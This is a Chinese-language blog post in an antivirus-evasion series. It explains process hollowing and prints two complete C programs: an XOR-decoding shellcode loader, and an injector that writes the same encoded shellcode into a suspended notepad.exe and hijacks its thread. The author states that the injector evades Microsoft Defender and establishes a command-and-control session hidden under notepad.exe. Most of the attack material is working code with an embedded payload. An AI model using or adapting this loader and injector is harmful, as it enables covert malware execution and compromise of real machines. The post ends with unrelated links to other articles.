【免杀】C2免杀技术(六)进程镂空(傀儡进程)

news2025/5/20 17:43:09

一、技术定位与核心思想

进程镂空(Process Hollowing)属于 MITRE ATT&CK 中 T1055.012 子技术:先创建一个合法进程并挂起,随后把其主模块从内存“掏空”并替换为恶意映像,最后恢复线程执行,从而让恶意代码披着正常进程外壳运行。 

二、标准流程(七步拆解)

步骤关键 API细节陷阱
① 创建挂起进程CreateProcessW(..., CREATE_SUSPENDED)选用系统常驻或白名单进程名称;位数需与 payload 一致。
② 解析目标 PEBNtQueryInformationProcess + ReadProcessMemory 取出 ImageBaseAddress
③ 卸载原映像NtUnmapViewOfSection 如卸载失败一般是内存仍被模块引用,需重试或改用 NtWriteVirtualMemory 覆盖。
④ 申请内存VirtualAllocEx 推荐按分节属性分别设页权限,减少可疑“RX/RWX” 区段。
⑤ 写入恶意映像WriteProcessMemory + 重定位表修补重定位 delta = NewBase - OldImageBase ;缺 reloc 表会直接崩溃。
⑥ 重写线程上下文GetThreadContext / SetThreadContext x86 写 EAX/EIP;x64 需写 RCX,RDX,R8,R9 等保留寄存器。
⑦ 恢复执行ResumeThread建议先 Sleep‑Obfuscation → Unhook,再联网。

三、进阶与变体

变体核心改动场景/优势
RunPE/PE‑Inject过程同镂空,但直接覆盖同一进程(无父子关系)。红队常用,代码更简单。
Transacted Hollowing结合 TxF 事务,绕过落地文件扫描。被 NITROGEN / HijackLoader 等新家族采用 (CrowdStrike)。
Process Ghosting / Herpaderping / Doppelgänging修改或删除落地文件后再创建进程,文件已不可扫描。对文件型防护最具破坏性;微软专文阐述检测难点 (微软)。
Windows 11 24H2 MEM_IMAGE 版24H2 要求映像区段标记为 MEM_IMAGE;传统 MEM_PRIVATE 写入会异常 0xC0000141 终止 (cirt.gy)。需改用 NtCreateSection 映射映像模式或走 Ghosting 路线。

四、免杀效果展示

1、先拿之前文章:【免杀】C2免杀技术(四)shellcode分离加载-CSDN博客 里的xor加载器代码(文章里演示过,放到DF上,被杀)

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
 
// 使用字符串 "kun" 作为 XOR key
unsigned char xor_key[] = { 'k', 'u', 'n' };
const size_t key_len = sizeof(xor_key);
 
// XOR混淆的 shellcode(请用你的真实 shellcode 替换)
unsigned char encoded_shellcode[] = "\x97\x3d\xed\x8f\x85\x86\xa3\x75\x6e\x6b\x34\x3f\x2a\x25\x3c\x3a\x23\x26\x5a\xa7\x0b\x23\xfe\x3c\x0b\x3d\xe5\x39\x6d\x26\xe0\x27\x4e\x23\xfe\x1c\x3b\x3d\x61\xdc\x3f\x24\x26\x44\xa7\x23\x44\xae\xc7\x49\x0f\x17\x77\x42\x4b\x34\xaf\xa2\x78\x2f\x6a\xb4\x8c\x86\x27\x2f\x3a\x3d\xe5\x39\x55\xe5\x29\x49\x26\x6a\xa5\x08\xea\x0d\x76\x60\x77\x1b\x19\xfe\xee\xe3\x75\x6e\x6b\x3d\xeb\xab\x01\x09\x23\x74\xbe\x3b\xfe\x26\x73\x31\xe5\x2b\x55\x27\x6a\xa5\x8d\x3d\x3d\x91\xa2\x34\xe5\x5f\xfd\x26\x6a\xa3\x23\x5a\xbc\x26\x5a\xb5\xc2\x2a\xb4\xa7\x66\x34\x6f\xaa\x4d\x8e\x1e\x84\x22\x68\x39\x4a\x63\x30\x57\xba\x00\xb6\x33\x31\xe5\x2b\x51\x27\x6a\xa5\x08\x2a\xfe\x62\x23\x31\xe5\x2b\x69\x27\x6a\xa5\x2f\xe0\x71\xe6\x23\x74\xbe\x2a\x2d\x2f\x33\x2b\x37\x31\x34\x36\x2a\x2c\x2f\x31\x3d\xed\x87\x55\x2f\x39\x8a\x8e\x33\x34\x37\x31\x3d\xe5\x79\x9c\x21\x94\x8a\x91\x36\x1f\x6e\x22\xcb\x19\x02\x1b\x07\x05\x10\x1a\x6b\x34\x38\x22\xfc\x88\x27\xfc\x9f\x2a\xcf\x22\x1c\x53\x69\x94\xa0\x26\x5a\xbc\x26\x5a\xa7\x23\x5a\xb5\x23\x5a\xbc\x2f\x3b\x34\x3e\x2a\xcf\x54\x3d\x0c\xc9\x94\xa0\x85\x18\x2f\x26\xe2\xb4\x2f\xd3\x28\x7f\x6b\x75\x23\x5a\xbc\x2f\x3a\x34\x3f\x01\x76\x2f\x3a\x34\xd4\x3c\xfc\xf1\xad\x8a\xbb\x80\x2c\x35\x23\xfc\xaf\x23\x44\xbc\x22\xfc\xb6\x26\x44\xa7\x39\x1d\x6e\x69\x35\xea\x39\x27\x2f\xd1\x9e\x3b\x45\x4e\x91\xbe\x3d\xe7\xad\x3d\xed\xa8\x25\x04\x61\x2a\x26\xe2\x84\x26\xe2\xaf\x27\xac\xb5\x91\x94\x8a\x91\x26\x44\xa7\x39\x27\x2f\xd1\x58\x68\x73\x0e\x91\xbe\xf0\xae\x64\xf0\xf3\x6a\x75\x6e\x23\x8a\xa1\x64\xf1\xe2\x6a\x75\x6e\x80\xa6\x87\x8f\x74\x6e\x6b\x9d\xcc\x94\x8a\x91\x44\x1f\x2f\x27\x13\x6e\x29\xfb\x4c\x87\x7c\x4e\xa3\x5a\x27\x7e\x12\x9b\xe1\xb6\xcb\x0d\x98\x9e\x71\x24\xf0\xbb\x35\xe9\x45\x21\xf4\x5f\x7f\x0c\x90\xf4\x74\xe8\x6a\xb2\xb5\x4f\x8c\xf6\xd6\x9e\x51\xdf\x81\xae\x76\x30\x26\xdd\xbd\x75\x63\x41\xc0\x67\x3c\x70\xd5\xf5\x79\xad\x41\x9f\xc5\xa7\x6a\xfd\x58\x20\xbd\xaf\x8c\x75\x3b\x18\x10\x1c\x46\x34\x09\x0e\x1b\x1a\x51\x55\x23\x04\x0f\x07\x07\x19\x0f\x44\x40\x40\x5b\x55\x46\x08\x1a\x03\x1b\x14\x1a\x02\x17\x02\x0e\x4e\x4e\x26\x26\x27\x2e\x55\x5f\x5b\x5b\x5e\x50\x55\x39\x02\x1b\x0a\x04\x02\x1d\x4b\x3b\x3a\x4b\x43\x40\x5a\x4e\x4e\x3c\x3a\x39\x5d\x41\x55\x4b\x21\x1c\x02\x11\x0b\x05\x01\x41\x5d\x5b\x5e\x42\x78\x64\x6b\x43\xac\xbc\x37\xdf\x7b\x58\xff\x31\x6f\x96\x46\xfe\x4f\x38\xd0\xe3\xf3\xfb\x3c\x0c\x3a\x75\x82\x1c\xf1\xd9\x1d\xd2\x49\x6b\x9a\x46\x25\x9e\xaf\x69\x9a\x83\x12\xf0\x10\xb9\x26\x75\x0a\x1a\xae\x03\x61\x24\x6f\x4b\xe9\xe7\xcd\x58\xf4\xbe\x95\xd0\x46\x3f\x7b\x37\x76\xc8\x0b\x35\x3b\x9a\x2b\xaa\xd5\x1c\xaf\x4b\x35\xda\x25\x9a\x69\x5c\x0f\xd4\x0c\x3b\xba\x3d\xd2\xf0\xb9\x6a\xcd\x8f\x81\xe2\x9e\x52\xeb\x6d\x1e\x61\x25\x5c\x1e\xc4\x0f\x0e\x1f\xa3\x88\x22\x5b\x62\x3e\xc1\xee\xd7\x8c\x43\xf1\x25\x90\xf4\x7d\xbb\xbc\xc7\x7e\x9d\x83\xfa\xff\x9d\xbf\x51\x9f\x76\x7a\xb2\xc7\xa7\xa0\x6c\xdd\xdd\xe8\x55\xc9\xb7\xda\xa1\xfe\xd5\x9d\x0e\xab\x49\xb9\x06\x93\xac\x62\x68\xd6\xd4\x0b\x75\x17\x50\x9f\x02\x8f\x7b\x0d\x47\x97\xc7\x5d\xc6\x34\x43\x86\x20\xc3\x5f\x4e\xd5\x64\x83\x5d\x7f\x55\x6b\x69\x3e\x7f\x99\x02\x4f\xa4\x1b\xa1\x0e\x07\x03\x54\x1d\xf2\xe1\x04\x4d\xa8\x36\xd3\x09\x6e\x2a\xcb\x9e\xde\xd7\x38\x94\xa0\x26\x5a\xbc\xd4\x6b\x75\x2e\x6b\x34\xd6\x6b\x65\x6e\x6b\x34\xd7\x2b\x75\x6e\x6b\x34\xd4\x33\xd1\x3d\x8e\x8a\xbb\x23\xe6\x3d\x38\x3d\xe7\x8c\x3d\xe7\x9a\x3d\xe7\xb1\x34\xd6\x6b\x55\x6e\x6b\x3c\xe7\x92\x34\xd4\x79\xe3\xe7\x89\x8a\xbb\x23\xf6\xaa\x4b\xf0\xae\x1f\xc3\x08\xe0\x72\x26\x6a\xb6\xeb\xab\x00\xb9\x33\x2d\x36\x23\x70\x6e\x6b\x75\x6e\x3b\xb6\x86\xf4\x88\x91\x94\x44\x57\x59\x5b\x5f\x5d\x4d\x40\x59\x40\x5b\x45\x44\x6e\x6b\x7f\x42\x41" /* shellcode 省略,原样复制 */;
size_t shellcode_len = sizeof(encoded_shellcode);
 
int main() {
    // 申请 RWX 内存
    LPVOID exec_mem = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!exec_mem) {
        printf("VirtualAlloc failed.\n");
        return -1;
    }
 
    // 复制加密的 shellcode 到可执行内存
    memcpy(exec_mem, encoded_shellcode, shellcode_len);
 
    // 在已加载的内存中解密 shellcode
    for (size_t i = 0; i < shellcode_len; ++i) {
        ((unsigned char*)exec_mem)[i] ^= xor_key[i % key_len];
    }
 
    // 创建线程执行 shellcode
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
    if (!hThread) {
        printf("CreateThread failed.\n");
        VirtualFree(exec_mem, 0, MEM_RELEASE);
        return -1;
    }
 
    // 等待 shellcode 执行完成
    WaitForSingleObject(hThread, INFINITE);
 
    // 清理
    VirtualFree(exec_mem, 0, MEM_RELEASE);
 
    return 0;
}

2、现在使用进程镂空技术来改造,改完如下:

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

// 示例Shellcode(已使用XOR加密)
unsigned char shellcode[] = /* 你的XOR加密后shellcode数据 */ "\x97\x3d\xed\x8f\x85\x86\xa3\x75\x6e\x6b\x34\x3f\x2a\x25\x3c\x3a\x23\x26\x5a\xa7\x0b\x23\xfe\x3c\x0b\x3d\xe5\x39\x6d\x26\xe0\x27\x4e\x23\xfe\x1c\x3b\x3d\x61\xdc\x3f\x24\x26\x44\xa7\x23\x44\xae\xc7\x49\x0f\x17\x77\x42\x4b\x34\xaf\xa2\x78\x2f\x6a\xb4\x8c\x86\x27\x2f\x3a\x3d\xe5\x39\x55\xe5\x29\x49\x26\x6a\xa5\x08\xea\x0d\x76\x60\x77\x1b\x19\xfe\xee\xe3\x75\x6e\x6b\x3d\xeb\xab\x01\x09\x23\x74\xbe\x3b\xfe\x26\x73\x31\xe5\x2b\x55\x27\x6a\xa5\x8d\x3d\x3d\x91\xa2\x34\xe5\x5f\xfd\x26\x6a\xa3\x23\x5a\xbc\x26\x5a\xb5\xc2\x2a\xb4\xa7\x66\x34\x6f\xaa\x4d\x8e\x1e\x84\x22\x68\x39\x4a\x63\x30\x57\xba\x00\xb6\x33\x31\xe5\x2b\x51\x27\x6a\xa5\x08\x2a\xfe\x62\x23\x31\xe5\x2b\x69\x27\x6a\xa5\x2f\xe0\x71\xe6\x23\x74\xbe\x2a\x2d\x2f\x33\x2b\x37\x31\x34\x36\x2a\x2c\x2f\x31\x3d\xed\x87\x55\x2f\x39\x8a\x8e\x33\x34\x37\x31\x3d\xe5\x79\x9c\x21\x94\x8a\x91\x36\x1f\x6e\x22\xcb\x19\x02\x1b\x07\x05\x10\x1a\x6b\x34\x38\x22\xfc\x88\x27\xfc\x9f\x2a\xcf\x22\x1c\x53\x69\x94\xa0\x26\x5a\xbc\x26\x5a\xa7\x23\x5a\xb5\x23\x5a\xbc\x2f\x3b\x34\x3e\x2a\xcf\x54\x3d\x0c\xc9\x94\xa0\x85\x18\x2f\x26\xe2\xb4\x2f\xd3\x28\x7f\x6b\x75\x23\x5a\xbc\x2f\x3a\x34\x3f\x01\x76\x2f\x3a\x34\xd4\x3c\xfc\xf1\xad\x8a\xbb\x80\x2c\x35\x23\xfc\xaf\x23\x44\xbc\x22\xfc\xb6\x26\x44\xa7\x39\x1d\x6e\x69\x35\xea\x39\x27\x2f\xd1\x9e\x3b\x45\x4e\x91\xbe\x3d\xe7\xad\x3d\xed\xa8\x25\x04\x61\x2a\x26\xe2\x84\x26\xe2\xaf\x27\xac\xb5\x91\x94\x8a\x91\x26\x44\xa7\x39\x27\x2f\xd1\x58\x68\x73\x0e\x91\xbe\xf0\xae\x64\xf0\xf3\x6a\x75\x6e\x23\x8a\xa1\x64\xf1\xe2\x6a\x75\x6e\x80\xa6\x87\x8f\x74\x6e\x6b\x9d\xcc\x94\x8a\x91\x44\x1f\x2f\x27\x13\x6e\x29\xfb\x4c\x87\x7c\x4e\xa3\x5a\x27\x7e\x12\x9b\xe1\xb6\xcb\x0d\x98\x9e\x71\x24\xf0\xbb\x35\xe9\x45\x21\xf4\x5f\x7f\x0c\x90\xf4\x74\xe8\x6a\xb2\xb5\x4f\x8c\xf6\xd6\x9e\x51\xdf\x81\xae\x76\x30\x26\xdd\xbd\x75\x63\x41\xc0\x67\x3c\x70\xd5\xf5\x79\xad\x41\x9f\xc5\xa7\x6a\xfd\x58\x20\xbd\xaf\x8c\x75\x3b\x18\x10\x1c\x46\x34\x09\x0e\x1b\x1a\x51\x55\x23\x04\x0f\x07\x07\x19\x0f\x44\x40\x40\x5b\x55\x46\x08\x1a\x03\x1b\x14\x1a\x02\x17\x02\x0e\x4e\x4e\x26\x26\x27\x2e\x55\x5f\x5b\x5b\x5e\x50\x55\x39\x02\x1b\x0a\x04\x02\x1d\x4b\x3b\x3a\x4b\x43\x40\x5a\x4e\x4e\x3c\x3a\x39\x5d\x41\x55\x4b\x21\x1c\x02\x11\x0b\x05\x01\x41\x5d\x5b\x5e\x42\x78\x64\x6b\x43\xac\xbc\x37\xdf\x7b\x58\xff\x31\x6f\x96\x46\xfe\x4f\x38\xd0\xe3\xf3\xfb\x3c\x0c\x3a\x75\x82\x1c\xf1\xd9\x1d\xd2\x49\x6b\x9a\x46\x25\x9e\xaf\x69\x9a\x83\x12\xf0\x10\xb9\x26\x75\x0a\x1a\xae\x03\x61\x24\x6f\x4b\xe9\xe7\xcd\x58\xf4\xbe\x95\xd0\x46\x3f\x7b\x37\x76\xc8\x0b\x35\x3b\x9a\x2b\xaa\xd5\x1c\xaf\x4b\x35\xda\x25\x9a\x69\x5c\x0f\xd4\x0c\x3b\xba\x3d\xd2\xf0\xb9\x6a\xcd\x8f\x81\xe2\x9e\x52\xeb\x6d\x1e\x61\x25\x5c\x1e\xc4\x0f\x0e\x1f\xa3\x88\x22\x5b\x62\x3e\xc1\xee\xd7\x8c\x43\xf1\x25\x90\xf4\x7d\xbb\xbc\xc7\x7e\x9d\x83\xfa\xff\x9d\xbf\x51\x9f\x76\x7a\xb2\xc7\xa7\xa0\x6c\xdd\xdd\xe8\x55\xc9\xb7\xda\xa1\xfe\xd5\x9d\x0e\xab\x49\xb9\x06\x93\xac\x62\x68\xd6\xd4\x0b\x75\x17\x50\x9f\x02\x8f\x7b\x0d\x47\x97\xc7\x5d\xc6\x34\x43\x86\x20\xc3\x5f\x4e\xd5\x64\x83\x5d\x7f\x55\x6b\x69\x3e\x7f\x99\x02\x4f\xa4\x1b\xa1\x0e\x07\x03\x54\x1d\xf2\xe1\x04\x4d\xa8\x36\xd3\x09\x6e\x2a\xcb\x9e\xde\xd7\x38\x94\xa0\x26\x5a\xbc\xd4\x6b\x75\x2e\x6b\x34\xd6\x6b\x65\x6e\x6b\x34\xd7\x2b\x75\x6e\x6b\x34\xd4\x33\xd1\x3d\x8e\x8a\xbb\x23\xe6\x3d\x38\x3d\xe7\x8c\x3d\xe7\x9a\x3d\xe7\xb1\x34\xd6\x6b\x55\x6e\x6b\x3c\xe7\x92\x34\xd4\x79\xe3\xe7\x89\x8a\xbb\x23\xf6\xaa\x4b\xf0\xae\x1f\xc3\x08\xe0\x72\x26\x6a\xb6\xeb\xab\x00\xb9\x33\x2d\x36\x23\x70\x6e\x6b\x75\x6e\x3b\xb6\x86\xf4\x88\x91\x94\x44\x57\x59\x5b\x5f\x5d\x4d\x40\x59\x40\x5b\x45\x44\x6e\x6b\x7f\x42\x41";
SIZE_T shellcodeSize = sizeof(shellcode);

int main() {
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;

    // 1. 创建挂起的目标进程(以 notepad.exe 为例)
    if (!CreateProcessA(
        "C:\\Windows\\System32\\notepad.exe",
        NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED, NULL, NULL,
        &si, &pi))
    {
        printf("[-] CreateProcess failed (%d)\n", GetLastError());
        return -1;
    }
    printf("[+] Suspended process created (PID: %d)\n", pi.dwProcessId);

    // 2. 获取线程上下文
    if (!GetThreadContext(pi.hThread, &ctx)) {
        printf("[-] GetThreadContext failed (%d)\n", GetLastError());
        return -1;
    }

    // 3. 获取 ImageBase 地址
    DWORD64 imageBase = 0;
    ReadProcessMemory(pi.hProcess,
        (LPCVOID)(ctx.Rdx + 0x10),
        &imageBase, sizeof(imageBase), NULL);

    // 4. 解析入口点 RVA
    IMAGE_DOS_HEADER dos = { 0 };
    IMAGE_NT_HEADERS64 nt = { 0 };
    ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, &dos, sizeof(dos), NULL);
    ReadProcessMemory(pi.hProcess,
        (LPCVOID)(imageBase + dos.e_lfanew),
        &nt, sizeof(nt), NULL);
    DWORD64 entryRVA = nt.OptionalHeader.AddressOfEntryPoint;
    DWORD64 targetAddr = imageBase + entryRVA;

    // 5. 修改目标内存页权限为可写可执行
    DWORD oldProt = 0;
    VirtualProtectEx(pi.hProcess,
        (LPVOID)targetAddr,
        shellcodeSize,
        PAGE_EXECUTE_READWRITE,
        &oldProt);

    // 6. 写入已加密 shellcode
    if (!WriteProcessMemory(pi.hProcess,
        (LPVOID)targetAddr,
        shellcode, shellcodeSize, NULL))
    {
        printf("[-] WriteProcessMemory (encrypted) failed (%d)\n", GetLastError());
        return -1;
    }
    printf("[+] Encrypted shellcode written to target process.\n");

    // 7. 在目标进程内存中进行 XOR 解密(Key: "kun")
    unsigned char xorKey[] = "kun";       // XOR 密钥字符串
    SIZE_T keyLen = sizeof(xorKey) - 1;    // 不包含末尾 '\0'

    for (SIZE_T i = 0; i < shellcodeSize; i++) {
        unsigned char encByte = 0;
        // 读取加密字节
        if (!ReadProcessMemory(pi.hProcess,
            (LPCVOID)(targetAddr + i),
            &encByte, 1, NULL))
        {
            printf("[-] ReadProcessMemory failed at offset %llu (%d)\n", i, GetLastError());
            return -1;
        }
        // XOR 解密
        unsigned char decByte = encByte ^ xorKey[i % keyLen];
        // 写回解密后字节
        if (!WriteProcessMemory(pi.hProcess,
            (LPVOID)(targetAddr + i),
            &decByte, 1, NULL))
        {
            printf("[-] WriteProcessMemory failed at offset %llu (%d)\n", i, GetLastError());
            return -1;
        }
    }
    printf("[+] Shellcode decrypted in target process memory.\n");

    // 8. 设置线程 RIP 到 shellcode 地址
    ctx.Rip = targetAddr;
    if (!SetThreadContext(pi.hThread, &ctx)) {
        printf("[-] SetThreadContext failed (%d)\n", GetLastError());
        return -1;
    }

    // 9. 恢复线程执行
    ResumeThread(pi.hThread);

    // 清理句柄
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

当然,我这里并不符合以上“标准流程”,而是上述第一种变体(RunPE/PE‑Inject),像是一种入口点覆盖式的注入,区别如下:

  • 并没有“掏空”原进程的合法映像,而是在原映像内直接覆盖;
  • 没有按照 PE 结构重建映像,也没有处理重定位、导入表等;
  • 红队常用,代码更简单。

3、将两份代码全部编译出来,进行对比

拉到DF上检测,结果如图:

运行测试,成功上线并执行命令,进程镂空(傀儡进程)绕过DF!

如图,恶意程序的真实的名称并不会出现在进程清单里,取而代之的是notepad.exe

五、结尾

通常所说的傀儡进程,主要就是指进程镂空(Process Hollowing) ,但是这两个概念并非完全等价的术语。傀儡进程是一个更广泛的概念,指攻击者控制的一个表面上看起来“正常”的进程,实际却在执行恶意任务。它包括不限于:进程镂空、进程替身、父子关系欺骗、镜像劫持、进程劫持等。

名称关系举例
进程镂空傀儡进程的一种实现CreateProcess + 替换内存
傀儡进程总体概念镂空、Doppelgänging、镜像劫持等

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2380139.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Eclipse Java 开发调优:如何让 Eclipse 运行更快?

Eclipse Java 开发调优&#xff1a;如何让 Eclipse 运行更快&#xff1f; 在 Java 开发领域&#xff0c;Eclipse 是一款被广泛使用的集成开发环境&#xff08;IDE&#xff09;。然而&#xff0c;随着项目的日益庞大和复杂&#xff0c;Eclipse 的运行速度可能会逐渐变慢&#x…

彻底理解事件循环(Event Loop):从单线程到异步世界的桥梁

关于事件循环被问了很多次&#xff0c;也遇到过很多次&#xff0c;一直没有系统整理&#xff0c;网上搜的&#xff0c;基本明白但总感觉不够透彻&#xff0c;最后&#xff0c;自己动手&#xff0c;丰衣足食&#xff0c;哈哈 一、为什么需要事件循环&#xff1f;—— 单线程的困…

Linux(2)——shell原理及Linux中的权限

目录 一、shell的运行原理 二、Linux中权限的问题 1.权限的概念 2.如何进行用户的切换 1&#xff09;从普通用户切到超级用户 2&#xff09;从root用户切到普通用户 3.如何实现提权操作 4.如何将普通用户添加到信用列表&#xff08;sudoers&#xff09; ​编辑5.Lin…

如何在线免费压缩PDF文档?

PDF文件太大&#xff0c;通常是因为内部嵌入字体和图片。怎么才能将文件大小减减肥呢&#xff0c;主要有降低图片清晰度和去除相关字体两个方向来实现文档效果。接下来介绍三个免费压缩PDF实用工具。 &#xff08;一&#xff09;iLoveOFD在线转换工具 iLoveOFD在线转换工具&a…

汽车装配又又又升级,ethernetip转profinet进阶跃迁指南

1. 场景描述&#xff1a;汽车装配线中&#xff0c;使用EtherNet/IP协议的机器人与使用PROFINET协议的PLC进行数据交互。 2. 连接设备&#xff1a;EtherNet/IP机器人控制器&#xff08;如ABB、FANUC&#xff09;与PROFINET PLC&#xff08;如西门子S7-1500&#xff09;。 3. 连…

css:无限滚动波浪线

以上是需要实现的效果&#xff0c;一条无限滚动波浪线&#xff0c;可以用来做区块的分割线。 要形成上下交替的圆形&#xff0c;思路是给div加圆角边框&#xff0c;第一个只有上边框&#xff0c;第二个只有下边框。 循环了100个div&#xff0c;这个数量根据自己容器宽度调整&…

w~自动驾驶~合集3

我自己的原文哦~ https://blog.51cto.com/whaosoft/13269720 #FastOcc 推理更快、部署友好Occ算法来啦&#xff01; 在自动驾驶系统当中&#xff0c;感知任务是整个自驾系统中至关重要的组成部分。感知任务的主要目标是使自动驾驶车辆能够理解和感知周围的环境元素&…

山东大学计算机图形学期末复习整理5——CG10上

CG10上 Frenet-Serret框架 空间中一条曲线可以写成参数形式&#xff1a; C ( u ) ( x ( u ) , y ( u ) , z ( u ) ) \mathbf{C}(u) (x(u), y(u), z(u)) C(u)(x(u),y(u),z(u)) 这表示&#xff1a;当参数 u u u 变化时&#xff0c;曲线在三维空间中移动&#xff0c;生成一条轨…

STM32移植LVGL8.3 (保姆级图文教程)

目录 前言设备清单2.8寸TFT-LCD屏原理与应用1️⃣基本参数2️⃣引脚说明3️⃣程序移植4️⃣硬件接线 LVGL8.3 移植流程1️⃣硬件及平台要求2️⃣版本说明3️⃣源码下载4️⃣源码移植 工程配置修改配置文件1️⃣lvgl_config.h2️⃣适配屏幕驱动3️⃣配置输入设备(触摸功能) 提供…

虚幻引擎5-Unreal Engine笔记之Default Pawn与GamMode、Camera的关系

虚幻引擎5-Unreal Engine笔记之Default Pawn与GamMode、Camera的关系 code review! 文章目录 虚幻引擎5-Unreal Engine笔记之Default Pawn与GamMode、Camera的关系1.Default Pawn与Camera的关系1.1. Default Pawn 是什么&#xff1f;1.2. Default Pawn 的主要组件1.3. Default…

C++多态的详细讲解

【本节目标】 1. 多态的概念 2. 多态的定义及实现 3. 抽象类 4. 多态的原理 5. 单继承和多继承关系中的虚函数表 前言 需要声明的&#xff0c;本博客中的代码及解释都是在 vs2013 下的 x86 程序中&#xff0c;涉及的指针都是 4bytes 。 如果要其他平台下&#xff0c;部…

vue项目启动报错

vue项目启动报错 一、问题二、解决 一、问题 从vue2更换到vue3之后&#xff0c;需要将node进行版本升级&#xff0c;之后启动项目出现了下面的问题。 Uncaught Error: A route named “PageNotFound” has been added as a child of a route with the same name. Route names …

免费私有化部署! PawSQL社区版,超越EverSQL的企业级SQL优化工具面向个人开发者开放使用了

1. 概览 1.1 快速了解 PawSQL PawSQL是专注于数据库性能优化的企业级工具&#xff0c;解决方案覆盖SQL开发、测试、运维的整个流程&#xff0c;提供智能SQL审核、查询重写优化及自动化巡检功能&#xff0c;支持MySQL、PostgreSQL、Oracle、SQL Server等主流数据库及达梦、金仓…

SecureCRT 使用指南:安装、设置与高效操作

目录 一、SecureCRT 简介 1.1 什么是 SecureCRT&#xff1f; 1.2 核心功能亮点 1.3 软件特点 二、SecureCRT 安装与激活 2.1 安装步骤&#xff08;Windows 系统&#xff09; 2.2 激活与破解&#xff08;仅供学习参考&#xff09; 三、基础配置与优化 3.1 界面与编码设…

Tomcat多应用部署与静态资源路径问题全解指南

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家、CSDN平台优质创作者&#xff0c;高级开发工程师&#xff0c;数学专业&#xff0c;10年以上C/C, C#, Java等多种编程语言开发经验&#xff0c;拥有高级工程师证书&#xff1b;擅长C/C、C#等开发语言&#xff0c;熟悉Java常用开…

【微信小程序 + 高德地图API 】键入关键字搜索地址,获取经纬度等

前言 又到熟悉的前言&#xff0c;接到个需求&#xff0c;要引入高德地图api&#xff0c;我就记录一下&#xff0c;要是有帮助记得点赞、收藏、关注&#x1f601;。 后续有时间会慢慢完善一些文章&#xff1a;&#xff08;画饼时间&#xff09; map组件自定义气泡、mark标记点…

排序算法之线性时间排序:计数排序,基数排序,桶排序详解

排序算法之线性时间排序&#xff1a;计数排序、基数排序、桶排序详解 前言一、计数排序&#xff08;Counting Sort&#xff09;1.1 算法原理1.2 代码实现&#xff08;Python&#xff09;1.3 性能分析1.4 适用场景 二、基数排序&#xff08;Radix Sort&#xff09;2.1 算法原理2…

Linux | mdadm 创建软 RAID

注&#xff1a;本文为 “Linux mdadm RAID” 相关文章合辑。 略作重排&#xff0c;未整理去重。 如有内容异常&#xff0c;请看原文。 Linux 下用 mdadm 创建软 RAID 以及避坑 喵ฅ・&#xfecc;・ฅ Oct 31, 2023 前言 linux 下组软 raid 用 mdadm 命令&#xff0c;multi…

CodeEdit:macOS上一款可以让Xcode退休的IDE

CodeEdit 是一款轻量级、原生构建的代码编辑器&#xff0c;完全免费且开源。它使用纯 swift 实现&#xff0c;而且专为 macOS 设计&#xff0c;旨在为开发者提供更高效、更可靠的编程环境&#xff0c;同时释放 Mac 的全部潜力。 Stars 数21,719Forks 数1,081 主要特点 macOS 原…

LLaMA-Factory 微调 Qwen2-7B-Instruct

一、系统环境 使用的 autoDL 算力平台 1、下载基座模型 pip install -U huggingface_hub export HF_ENDPOINThttps://hf-mirror.com # &#xff08;可选&#xff09;配置 hf 国内镜像站huggingface-cli download --resume-download shenzhi-wang/Llama3-8B-Chinese-Chat -…